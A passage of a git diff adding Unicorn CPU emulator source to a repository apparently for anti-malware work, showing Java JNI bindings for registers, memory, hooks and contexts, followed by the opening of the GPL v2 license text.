+Copyright(c) 2016 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public class X86_MMR { + + public long base; + public int limit; + public int flags; + public short selector; + + public X86_MMR(long base, int limit, int flags, short selector) { + this.base = base; + this.limit = limit; + this.flags = flags; + this.selector = selector; + } + + public X86_MMR(long base, int limit) { + this.base = base; + this.limit = limit; + selector = 0; + flags = 0; + } + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn_Unicorn.c b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn_Unicorn.c new file mode 100644 index 0000000..ccf335f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn_Unicorn.c @@ -0,0 +1,781 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +#include +#include "unicorn/platform.h" +#include +#include + +#include +#include +#include "unicorn_Unicorn.h" + +//cache jmethodID values as we look them up +static jmethodID invokeBlockCallbacks = 0; +static jmethodID invokeInterruptCallbacks = 0; +static jmethodID invokeCodeCallbacks = 0; + +static jmethodID invokeEventMemCallbacks = 0; +static jmethodID invokeReadCallbacks = 0; +static jmethodID invokeWriteCallbacks = 0; +static jmethodID invokeInCallbacks = 0; +static jmethodID invokeOutCallbacks = 0; +static jmethodID invokeSyscallCallbacks = 0; + +static JavaVM* cachedJVM; + +JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *jvm, void *reserved) { + cachedJVM = jvm; + return JNI_VERSION_1_6; +} + +// Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) +// @address: address where the code is being executed +// @size: size of machine instruction being executed +// @user_data: user data passed to tracing APIs. +static void cb_hookcode(uc_engine *eng, uint64_t address, uint32_t size, void *user_data) { + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeCodeCallbacks, (jlong)eng, (jlong)address, (int)size); + (*cachedJVM)->DetachCurrentThread(cachedJVM); +} + +// Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) +// @address: address where the code is being executed +// @size: size of machine instruction being executed +// @user_data: user data passed to tracing APIs. +static void cb_hookblock(uc_engine *eng, uint64_t address, uint32_t size, void *user_data) { + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeBlockCallbacks, (jlong)eng, (jlong)address, (int)size); + (*cachedJVM)->DetachCurrentThread(cachedJVM); +} + +// Callback function for tracing interrupts (for uc_hook_intr()) +// @intno: interrupt number +// @user_data: user data passed to tracing APIs. +static void cb_hookintr(uc_engine *eng, uint32_t intno, void *user_data) { + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeInterruptCallbacks, (jlong)eng, (int)intno); + (*cachedJVM)->DetachCurrentThread(cachedJVM); +} + +// Callback function for tracing IN instruction of X86 +// @port: port number +// @size: data size (1/2/4) to be read from this port +// @user_data: user data passed to tracing APIs. +static uint32_t cb_insn_in(uc_engine *eng, uint32_t port, int size, void *user_data) { + JNIEnv *env; + uint32_t res = 0; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return 0; + } + res = (uint32_t)(*env)->CallStaticIntMethod(env, clz, invokeInCallbacks, (jlong)eng, (jint)port, (jint)size); + (*cachedJVM)->DetachCurrentThread(cachedJVM); + return res; +} + +// x86's handler for OUT +// @port: port number +// @size: data size (1/2/4) to be written to this port +// @value: data value to be written to this port +static void cb_insn_out(uc_engine *eng, uint32_t port, int size, uint32_t value, void *user_data) { + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeOutCallbacks, (jlong)eng, (jint)port, (jint)size, (jint)value); + (*cachedJVM)->DetachCurrentThread(cachedJVM); +} + +// x86's handler for SYSCALL/SYSENTER +static void cb_insn_syscall(uc_engine *eng, void *user_data) { + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeSyscallCallbacks, (jlong)eng); + (*cachedJVM)->DetachCurrentThread(cachedJVM); +} + +// Callback function for hooking memory (UC_HOOK_MEM_*) +// @type: this memory is being READ, or WRITE +// @address: address where the code is being executed +// @size: size of data being read or written +// @value: value of data being written to memory, or irrelevant if type = READ. +// @user_data: user data passed to tracing APIs +static void cb_hookmem(uc_engine *eng, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data) { + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + switch (type) { + case UC_MEM_READ: + (*env)->CallStaticVoidMethod(env, clz, invokeReadCallbacks, (jlong)eng, (jlong)address, (int)size); + break; + case UC_MEM_WRITE: + (*env)->CallStaticVoidMethod(env, clz, invokeWriteCallbacks, (jlong)eng, (jlong)address, (int)size, (jlong)value); + break; + } + (*cachedJVM)->DetachCurrentThread(cachedJVM); +} + +// Callback function for handling memory events (for UC_HOOK_MEM_UNMAPPED) +// @type: this memory is being READ, or WRITE +// @address: address where the code is being executed +// @size: size of data being read or written +// @value: value of data being written to memory, or irrelevant if type = READ. +// @user_data: user data passed to tracing APIs +// @return: return true to continue, or false to stop program (due to invalid memory). +static bool cb_eventmem(uc_engine *eng, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data) { + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return false; + } + jboolean res = (*env)->CallStaticBooleanMethod(env, clz, invokeEventMemCallbacks, (jlong)eng, (int)type, (jlong)address, (int)size, (jlong)value); + (*cachedJVM)->DetachCurrentThread(cachedJVM); + return res; +} + +static void throwException(JNIEnv *env, uc_err err) { + //throw exception + jclass clazz = (*env)->FindClass(env, "unicorn/UnicornException"); + if (err != UC_ERR_OK) { + const char *msg = uc_strerror(err); + (*env)->ThrowNew(env, clazz, msg); + } +} + +static uc_engine *getEngine(JNIEnv *env, jobject self) { + static int haveFid = 0; + static jfieldID fid; + if (haveFid == 0) { + //cache the field id + jclass clazz = (*env)->GetObjectClass(env, self); + fid = (*env)->GetFieldID(env, clazz, "eng", "J"); + haveFid = 1; + } + return (uc_engine *)(*env)->GetLongField(env, self, fid); +} + +/* + * Class: unicorn_Unicorn + * Method: reg_write_num + * Signature: (ILjava/lang/Number;)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1num + (JNIEnv *env, jobject self, jint regid, jobject value) { + uc_engine *eng = getEngine(env, self); + + jclass clz = (*env)->FindClass(env, "java/lang/Number"); + if ((*env)->ExceptionCheck(env)) { + return; + } + + jmethodID longValue = (*env)->GetMethodID(env, clz, "longValue", "()J"); + jlong longVal = (*env)->CallLongMethod(env, value, longValue); + uc_err err = uc_reg_write(eng, regid, &longVal); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: reg_write_mmr + * Signature: (ILunicorn/X86_MMR;)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1mmr + (JNIEnv *env, jobject self, jint regid, jobject value) { + uc_engine *eng = getEngine(env, self); + uc_x86_mmr mmr; + + jclass clz = (*env)->FindClass(env, "unicorn/X86_MMR"); + if ((*env)->ExceptionCheck(env)) { + return; + } + + jfieldID fid = (*env)->GetFieldID(env, clz, "base", "J"); + mmr.base = (uint64_t)(*env)->GetLongField(env, value, fid); + + fid = (*env)->GetFieldID(env, clz, "limit", "I"); + mmr.limit = (uint32_t)(*env)->GetLongField(env, value, fid); + + fid = (*env)->GetFieldID(env, clz, "flags", "I"); + mmr.flags = (uint32_t)(*env)->GetLongField(env, value, fid); + + fid = (*env)->GetFieldID(env, clz, "selector", "S"); + mmr.selector = (uint16_t)(*env)->GetLongField(env, value, fid); + + uc_err err = uc_reg_write(eng, regid, &mmr); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: reg_read_num + * Signature: (I)Ljava/lang/Number; + */ +JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1num + (JNIEnv *env, jobject self, jint regid) { + uc_engine *eng = getEngine(env, self); + + jclass clz = (*env)->FindClass(env, "java/lang/Long"); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } + + jlong longVal; + uc_err err = uc_reg_read(eng, regid, &longVal); + if (err != UC_ERR_OK) { + throwException(env, err); + } + + jmethodID cons = (*env)->GetMethodID(env, clz, "", "(J)V"); + jobject result = (*env)->NewObject(env, clz, cons, longVal); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } + return result; +} + +/* + * Class: unicorn_Unicorn + * Method: reg_read_mmr + * Signature: (I)Ljava/lang/Number; + */ +JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1mmr + (JNIEnv *env, jobject self, jint regid) { + uc_engine *eng = getEngine(env, self); + + jclass clz = (*env)->FindClass(env, "unicorn/X86_MMR"); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } + + uc_x86_mmr mmr; + uc_err err = uc_reg_read(eng, regid, &mmr); + if (err != UC_ERR_OK) { + throwException(env, err); + } + + jmethodID cons = (*env)->GetMethodID(env, clz, "", "(JIIS)V"); + jobject result = (*env)->NewObject(env, clz, cons, mmr.base, mmr.limit, mmr.flags, mmr.selector); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } + return result; +} + +/* + * Class: unicorn_Unicorn + * Method: open + * Signature: (II)J + */ +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_open + (JNIEnv *env, jobject self, jint arch, jint mode) { + uc_engine *eng = NULL; + uc_err err = uc_open((uc_arch)arch, (uc_mode)mode, &eng); + if (err != UC_ERR_OK) { + throwException(env, err); + } + return (jlong)eng; +} + +/* + * Class: unicorn_Unicorn + * Method: version + * Signature: ()I + */ +JNIEXPORT jint JNICALL Java_unicorn_Unicorn_version + (JNIEnv *env, jclass clz) { + return (jint)uc_version(NULL, NULL); +} + +/* + * Class: unicorn_Unicorn + * Method: arch_supported + * Signature: (I)Z + */ +JNIEXPORT jboolean JNICALL Java_unicorn_Unicorn_arch_1supported + (JNIEnv *env, jclass clz, jint arch) { + return (jboolean)(uc_arch_supported((uc_arch)arch) != 0); +} + +/* + * Class: unicorn_Unicorn + * Method: close + * Signature: ()V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_close + (JNIEnv *env, jobject self) { + uc_engine *eng = getEngine(env, self); + uc_err err = uc_close(eng); + if (err != UC_ERR_OK) { + throwException(env, err); + } + //We also need to ReleaseByteArrayElements for any regions that + //were mapped with uc_mem_map_ptr +} + +/* + * Class: unicorn_Unicorn + * Method: query + * Signature: (I)I + */ +JNIEXPORT jint JNICALL Java_unicorn_Unicorn_query + (JNIEnv *env, jobject self, jint type) { + uc_engine *eng = getEngine(env, self); + size_t result; + uc_err err = uc_query(eng, type, &result); + if (err != UC_ERR_OK) { + throwException(env, err); + } + return (jint)result; +} + +/* + * Class: unicorn_Unicorn + * Method: errno + * Signature: ()I + */ +JNIEXPORT jint JNICALL Java_unicorn_Unicorn_errno + (JNIEnv *env, jobject self) { + uc_engine *eng = getEngine(env, self); + return (jint)uc_errno(eng); +} + +/* + * Class: unicorn_Unicorn + * Method: strerror + * Signature: (I)Ljava/lang/String; + */ +JNIEXPORT jstring JNICALL Java_unicorn_Unicorn_strerror + (JNIEnv *env, jclass clz, jint code) { + const char *err = uc_strerror((int)code); + jstring s = (*env)->NewStringUTF(env, err); + return s; +} + +/* + * Class: unicorn_Unicorn + * Method: reg_write + * Signature: (I[B)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write + (JNIEnv *env, jobject self, jint regid, jbyteArray value) { + uc_engine *eng = getEngine(env, self); + jbyte *array = (*env)->GetByteArrayElements(env, value, NULL); + uc_err err = uc_reg_write(eng, (int)regid, (void *)array); + if (err != UC_ERR_OK) { + throwException(env, err); + } + (*env)->ReleaseByteArrayElements(env, value, array, JNI_ABORT); +} + +/* + * Class: unicorn_Unicorn + * Method: reg_read + * Signature: (II)[B + */ +JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_reg_1read + (JNIEnv *env, jobject self, jint regid, jint regsz) { + uc_engine *eng = getEngine(env, self); + jbyteArray regval = (*env)->NewByteArray(env, (jsize)regsz); + jbyte *array = (*env)->GetByteArrayElements(env, regval, NULL); + uc_err err = uc_reg_read(eng, (int)regid, (void *)array); + if (err != UC_ERR_OK) { + throwException(env, err); + } + (*env)->ReleaseByteArrayElements(env, regval, array, 0); + return regval; +} + +/* + * Class: unicorn_Unicorn + * Method: mem_write + * Signature: (J[B)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1write + (JNIEnv *env , jobject self, jlong address, jbyteArray bytes) { + + uc_engine *eng = getEngine(env, self); + jbyte *array = (*env)->GetByteArrayElements(env, bytes, NULL); + jsize size = (*env)->GetArrayLength(env, bytes); + uc_err err = uc_mem_write(eng, (uint64_t)address, array, (size_t)size); + + if (err != UC_ERR_OK) { + throwException(env, err); + } + + (*env)->ReleaseByteArrayElements(env, bytes, array, JNI_ABORT); +} + +/* + * Class: unicorn_Unicorn + * Method: mem_read + * Signature: (JJ)[B + */ +JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_mem_1read + (JNIEnv *env, jobject self, jlong address, jlong size) { + uc_engine *eng = getEngine(env, self); + + jbyteArray bytes = (*env)->NewByteArray(env, (jsize)size); + jbyte *array = (*env)->GetByteArrayElements(env, bytes, NULL); + uc_err err = uc_mem_read(eng, (uint64_t)address, array, (size_t)size); + if (err != UC_ERR_OK) { + throwException(env, err); + } + (*env)->ReleaseByteArrayElements(env, bytes, array, 0); + return bytes; +} + +/* + * Class: unicorn_Unicorn + * Method: emu_start + * Signature: (JJJJ)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1start + (JNIEnv *env, jobject self, jlong begin, jlong until, jlong timeout, jlong count) { + uc_engine *eng = getEngine(env, self); + + uc_err err = uc_emu_start(eng, (uint64_t)begin, (uint64_t)until, (uint64_t)timeout, (size_t)count); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: emu_stop + * Signature: ()V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1stop + (JNIEnv *env, jobject self) { + uc_engine *eng = getEngine(env, self); + + uc_err err = uc_emu_stop(eng); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: registerHook + * Signature: (JI)J + */ +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JI + (JNIEnv *env, jclass clz, jlong eng, jint type) { + uc_hook hh = 0; + uc_err err = 0; + switch (type) { + case UC_HOOK_INTR: // Hook all interrupt events + if (invokeInterruptCallbacks == 0) { + invokeInterruptCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeInterruptCallbacks", "(JI)V"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookintr, env, 1, 0); + break; + case UC_HOOK_MEM_FETCH_UNMAPPED: // Hook for all invalid memory access events + case UC_HOOK_MEM_READ_UNMAPPED: // Hook for all invalid memory access events + case UC_HOOK_MEM_WRITE_UNMAPPED: // Hook for all invalid memory access events + case UC_HOOK_MEM_FETCH_PROT: // Hook for all invalid memory access events + case UC_HOOK_MEM_READ_PROT: // Hook for all invalid memory access events + case UC_HOOK_MEM_WRITE_PROT: // Hook for all invalid memory access events + if (invokeEventMemCallbacks == 0) { + invokeEventMemCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeEventMemCallbacks", "(JIJIJ)Z"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_eventmem, env, 1, 0); + break; + } + return (jlong)hh; +} + +/* + * Class: unicorn_Unicorn + * Method: registerHook + * Signature: (JII)J + */ +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JII + (JNIEnv *env, jclass clz, jlong eng, jint type, jint arg1) { + uc_hook hh = 0; + uc_err err = 0; + switch (type) { + case UC_HOOK_INSN: // Hook a particular instruction + switch (arg1) { + case UC_X86_INS_OUT: + if (invokeOutCallbacks == 0) { + invokeOutCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeOutCallbacks", "(JIII)V"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_out, env, 1, 0, arg1); + case UC_X86_INS_IN: + if (invokeInCallbacks == 0) { + invokeInCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeInCallbacks", "(JII)I"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_in, env, 1, 0, arg1); + case UC_X86_INS_SYSENTER: + case UC_X86_INS_SYSCALL: + if (invokeSyscallCallbacks == 0) { + invokeSyscallCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeSyscallCallbacks", "(J)V"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_syscall, env, 1, 0, arg1); + } + break; + } + return (jlong)hh; +} + +/* + * Class: unicorn_Unicorn + * Method: registerHook + * Signature: (JIJJ)J + */ +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JIJJ + (JNIEnv *env, jclass clz, jlong eng, jint type, jlong arg1, jlong arg2) { + uc_hook hh = 0; + uc_err err = 0; + switch (type) { + case UC_HOOK_CODE: // Hook a range of code + if (invokeCodeCallbacks == 0) { + invokeCodeCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeCodeCallbacks", "(JJI)V"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookcode, env, 1, 0, arg1, arg2); + break; + case UC_HOOK_BLOCK: // Hook basic blocks + if (invokeBlockCallbacks == 0) { + invokeBlockCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeBlockCallbacks", "(JJI)V"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookblock, env, 1, 0, arg1, arg2); + break; + case UC_HOOK_MEM_READ: // Hook all memory read events. + if (invokeReadCallbacks == 0) { + invokeReadCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeReadCallbacks", "(JJI)V"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookmem, env, 1, 0, arg1, arg2); + break; + case UC_HOOK_MEM_WRITE: // Hook all memory write events. + if (invokeWriteCallbacks == 0) { + invokeWriteCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeWriteCallbacks", "(JJIJ)V"); + } + err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookmem, env, 1, 0, arg1, arg2); + break; + } + return (jlong)hh; +} + +/* + * Class: unicorn_Unicorn + * Method: hook_del + * Signature: (J)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_hook_1del + (JNIEnv *env, jobject self, jlong hh) { + uc_engine *eng = getEngine(env, self); + + //**** TODO remove hook from any internal hook tables as well + + uc_err err = uc_hook_del(eng, (uc_hook)hh); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: mem_map + * Signature: (JJI)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map + (JNIEnv *env, jobject self, jlong address, jlong size, jint perms) { + uc_engine *eng = getEngine(env, self); + + uc_err err = uc_mem_map(eng, (uint64_t)address, (size_t)size, (uint32_t)perms); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: mem_map_ptr + * Signature: (JJI[B)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map_1ptr + (JNIEnv *env, jobject self, jlong address, jlong size, jint perms, jbyteArray block) { + uc_engine *eng = getEngine(env, self); + jbyte *array = (*env)->GetByteArrayElements(env, block, NULL); + uc_err err = uc_mem_map_ptr(eng, (uint64_t)address, (size_t)size, (uint32_t)perms, (void*)array); + if (err != UC_ERR_OK) { + throwException(env, err); + } + //Need to track address/block/array so that we can ReleaseByteArrayElements when the + //block gets unmapped or when uc_close gets called + //(*env)->ReleaseByteArrayElements(env, block, array, JNI_ABORT); +} + +/* + * Class: unicorn_Unicorn + * Method: mem_unmap + * Signature: (JJ)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1unmap + (JNIEnv *env, jobject self, jlong address, jlong size) { + uc_engine *eng = getEngine(env, self); + + uc_err err = uc_mem_unmap(eng, (uint64_t)address, (size_t)size); + if (err != UC_ERR_OK) { + throwException(env, err); + } + + //If a region was mapped using uc_mem_map_ptr, we also need to + //ReleaseByteArrayElements for that region +} + +/* + * Class: unicorn_Unicorn + * Method: mem_protect + * Signature: (JJI)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1protect + (JNIEnv *env, jobject self, jlong address, jlong size, jint perms) { + uc_engine *eng = getEngine(env, self); + + uc_err err = uc_mem_protect(eng, (uint64_t)address, (size_t)size, (uint32_t)perms); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: mem_regions + * Signature: ()[Lunicorn/MemRegion; + */ +JNIEXPORT jobjectArray JNICALL Java_unicorn_Unicorn_mem_1regions + (JNIEnv *env, jobject self) { + uc_engine *eng = getEngine(env, self); + + uc_mem_region *regions = NULL; + uint32_t count = 0; + uint32_t i; + + uc_err err = uc_mem_regions(eng, ®ions, &count); + if (err != UC_ERR_OK) { + throwException(env, err); + } + jclass clz = (*env)->FindClass(env, "unicorn/MemRegion"); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } + jobjectArray result = (*env)->NewObjectArray(env, (jsize)count, clz, NULL); + jmethodID cons = (*env)->GetMethodID(env, clz, "", "(JJI)V"); + for (i = 0; i < count; i++) { + jobject mr = (*env)->NewObject(env, clz, cons, regions[i].begin, regions[i].end, regions[i].perms); + (*env)->SetObjectArrayElement(env, result, (jsize)i, mr); + } + uc_free(regions); + + return result; +} + +/* + * Class: unicorn_Unicorn + * Method: context_alloc + * Signature: ()J + */ +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_context_1alloc + (JNIEnv *env, jobject self) { + uc_engine *eng = getEngine(env, self); + uc_context *ctx; + uc_err err = uc_context_alloc(eng, &ctx); + if (err != UC_ERR_OK) { + throwException(env, err); + } + return (jlong)(uint64_t)ctx; +} + +/* + * Class: unicorn_Unicorn + * Method: free + * Signature: (J)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_free + (JNIEnv *env, jobject self, jlong ctx) { + uc_err err = uc_free((void *)ctx); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: context_save + * Signature: (J)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1save + (JNIEnv *env, jobject self, jlong ctx) { + uc_engine *eng = getEngine(env, self); + uc_err err = uc_context_save(eng, (uc_context*)ctx); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} + +/* + * Class: unicorn_Unicorn + * Method: context_restore + * Signature: (J)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1restore + (JNIEnv *env, jobject self, jlong ctx) { + uc_engine *eng = getEngine(env, self); + uc_err err = uc_context_restore(eng, (uc_context*)ctx); + if (err != UC_ERR_OK) { + throwException(env, err); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/LICENSE b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/LICENSE new file mode 100644 index 0000000..61a3fc5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/LICENSE @@ -0,0 +1,339 @@ +GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. 